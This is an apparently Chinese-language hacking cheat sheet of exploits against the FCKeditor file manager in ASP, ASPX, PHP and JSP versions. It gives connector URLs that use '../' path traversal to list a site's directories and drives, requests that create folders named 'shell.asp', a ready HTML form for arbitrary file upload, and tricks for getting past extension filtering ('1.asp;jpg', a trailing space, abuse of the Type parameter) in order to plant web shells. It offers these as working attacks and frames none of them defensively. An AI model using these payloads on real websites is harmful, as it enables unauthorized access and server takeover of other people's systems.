FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

遍历目录

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

1	FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录：

browser/default/connectors/aspx/connector.aspx？Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

1	browser/default/connectors/aspx/connector.aspx？Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

1	FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

也可以直接浏览盘符：

JSP 版本：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

1	FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

jsp上传

Version < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<</code>form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<</code>br><</code>input type="file" name="NewFile"size="50"><</code>br><</code>input id="btnUpload" type="submit" value="Upload"></</code>form>

<</code>form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<</code>br><</code>input type="file" name="NewFile"size="50"><</code>br><</code>input id="btnUpload" type="submit" value="Upload"></</code>form>

FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg
提交shell.php+空格绕过，不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。
继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

突破建立文件夹

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

最古老的漏洞，Type文件没有限制！

我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
